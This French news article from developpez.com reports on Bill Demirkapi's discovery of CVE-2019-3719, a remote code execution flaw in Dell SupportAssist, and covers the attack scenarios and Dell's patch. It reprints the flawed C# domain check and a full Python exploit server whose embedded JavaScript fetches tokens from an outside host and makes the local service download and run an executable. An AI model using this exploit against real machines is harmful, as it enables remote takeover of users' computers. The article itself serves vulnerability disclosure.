Le chercheur en sécurité Bill Demirkapi est l’auteur de la trouvaille qui a eu lieu au courant du mois d’octobre de l’année dernière. Il pointe une vulnérabilité dans Dell SupportAssist – un soft est utile pour le diagnostic, la mise à jour automatique des pilotes des machines et pour l’envoi de données y relatives vers des serveurs DELL pour les besoins de dépannage.Le nombre d'utilisateurs impactés est en principe très élevé, car l'outil SupportAssist est l'une des applications que Dell préinstalle sur tous les portables et Desktops Dell livrés par l'entreprise avec un système d'exploitation Windows. Les systèmes vendus sans OS ne sont pas affectés.
Demirkapi a découvert que SupportAssist est une espèce de client .Net en communication avec un serveur au travers d’un port dont le numéro varie en fonction de celui disponible sur le système (le chercheur liste les ports 8884, 8883, 8886 et 8885). En s’appuyant sur une ingénierie inverse du code de l’outil, il a pu mettre à nu un certain nombre de failles : primo, au sein d’une fonction de gestion du referrer appelée par celle de base du service – ClientServiceHandler.ProcessRequest. « ProcessRequest appelle la fonction suivante pour s’assurer que je suis de Dell », commente le chercheur. Ci-dessous, le code de la fonction à problème.
| Code C# : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 | // Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0 public static bool ValidateDomain(Uri request, Uri urlReferrer) { return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) && request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http"); } // Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124 public static bool ValidateDomain(string domain) { return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com"); } |
| Code python : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | from aiohttp import web import asyncio import string import random from threading import Thread filename = "" PAYLOAD = '''<script>var signatures = null; var ports = [8884, 8883, 8886, 8885]; var server_port = 0; function SendRequest(url) { var x = new XMLHttpRequest(); x.open("GET", url, false); //x.timeout = 3500; x.send(null); return {status: x.status, text: x.responseText}; } function SendAsyncRequest(url, callback) { var x = new XMLHttpRequest(); x.open("GET", url, true); x.onreadystatechange = callback; //x.timeout = 3500; x.send(null); return {status: x.status, text: x.responseText}; } function InitializeSignatures() { var signature_url = "https://bills-sandbox.000webhostapp.com/GetDellSignatures.php"; var response = SendRequest(signature_url); if(response.status == 200) { signatures = JSON.parse(response.text); } else { // fuck this shouldn't happen console.log("fuck"); } } function FindServer() { ports.forEach(function(port) { var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken; var response = SendAsyncRequest(is_alive_url, function(){server_port = port;}); }); } function guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } function SendRCEPayload() { var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken; var xmlhttp = new XMLHttpRequest(); // new HttpRequest instance xmlhttp.open("POST", auto_install_url, true); var files = []; files.push({ "title": "SupportAssist RCE", "category": "Serial ATA", "name": "calc.EXE", "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY "isSecure": false, "fileUniqueId": guid(), "run": true, "installOrder": 2, "restricted": false, "fileStatus": -99, "driverId": "FXGNY", "dupInstallReturnCode": 0, "cssClass": "inactive-step", "isReboot": false, "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10", "$$hashKey": "object:210"}); xmlhttp.send(JSON.stringify(files)); } function GetClientSystemInfo() { var signature = signatures.ClientSystemInfoToken; var expires = signatures.Expires; var system_info_url = "http://127.0.0.1:" + server_port + "/clientservice/getclientsysteminfo?expires=" + signatures.Expires + "&signature=" + signatures.ClientSystemInfoToken + "&includeServiceTag=true&includeHealthInfo=true&includeCurrentsystemConfig=true"; SendAsyncRequest(system_info_url, function(){ console.log(this.responseText);}); } var port_timer; function onFindPort() { clearTimeout(port_timer); SendRCEPayload(); } InitializeSignatures(); FindServer(); port_timer = setTimeout(function(){if(server_port != 0){onFindPort()}}, 200);</script><h1>CVE-2019-3719</h1>''' def id_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def handle(request): global filename global PAYLOAD if request.headers["Host"] is not None: if "downloads.dell.com" in request.headers["Host"]: print("[+] Exploit binary requested.") return web.FileResponse(filename) elif "dell.com" in request.headers["Host"]: print("[+] Exploit payload requested.") return web.Response(text=PAYLOAD, headers={'Content-Type': 'text/html'}) redirect_url = "http://dellrce.dell.com" return web.HTTPFound(redirect_url) class WebServer: def __init__(self, payload_filename): global filename filename = payload_filename self.loop = asyncio.get_event_loop() app = web.Application(debug=True) app.add_routes([web.get('/{a:.*}', handle)]) handler = app.make_handler() self.server = self.loop.create_server(handler, host='0.0.0.0', port=80) self.server_thread = Thread(target=self.server_handler, args=(self,)) self.server_thread.start() print("[+] Webserver started.") def server_handler(self, arg): self.loop.run_until_complete(self.server) self.loop.run_forever() |
La condition de partage de la couche d’accès réseau semble difficile à réaliser mais, après analyse, ne relève pas de l’impossible. Deux scénarios dans lesquels l'attaque pourrait fonctionner incluent les réseaux WiFi publics ou les réseaux de grandes entreprises où il y a au moins une machine compromise qui peut être utilisée pour lancer des attaques ARP et DNS contre les systèmes Dell voisins utilisant l'outil SupportAssist. Un autre scénario plausible est celui où des pirates informatiques parviennent à compromettre le routeur WiFi local des utilisateurs puis à modifier le trafic DNS directement sur le routeur.
Dell a mis à jour le logiciel SupportAssist fin avril 2019 à la suite d'un rapport initial reçu de Bill Demirkapi le 10 octobre 2018. L'entreprise recommande à tous ses clients de mettre à jour SupportAssist Client dès que possible, étant donné que toutes les versions antérieures à 3.2.0.90 et ultérieures sont vulnérables aux attaques d'exécution de code à distance.
Sources : billet de blog Demirkapi, avis de sécurité DELL, GitHub
Et vous ?
Qu’en pensez-vous ?
Quelle alternative à des systèmes similaires à Dell SupportAssist proposez-vous pour le maintien à jour d’un poste de travail sans s’exposer aux risques mentionnés ?Voir aussi :
Un étudiant gagne plus de 36 000 $ après avoir rapporté une vulnérabilité critique à Google pouvant entraîner une exécution de code à distance
Des chercheurs découvrent une vulnérabilité dans des véhicules de Volkswagen et sa filiale Audi qui permet de lancer des attaques à distance
Des chercheurs découvrent une vulnérabilité d'exécution de code à distance dans SQLite affectant les navigateurs basés sur Chromium
Vous avez lu gratuitement 3 179 articles depuis plus d'un an.
Soutenez le club developpez.com en souscrivant un abonnement pour que nous puissions continuer à vous proposer des publications.
Soutenez le club developpez.com en souscrivant un abonnement pour que nous puissions continuer à vous proposer des publications.
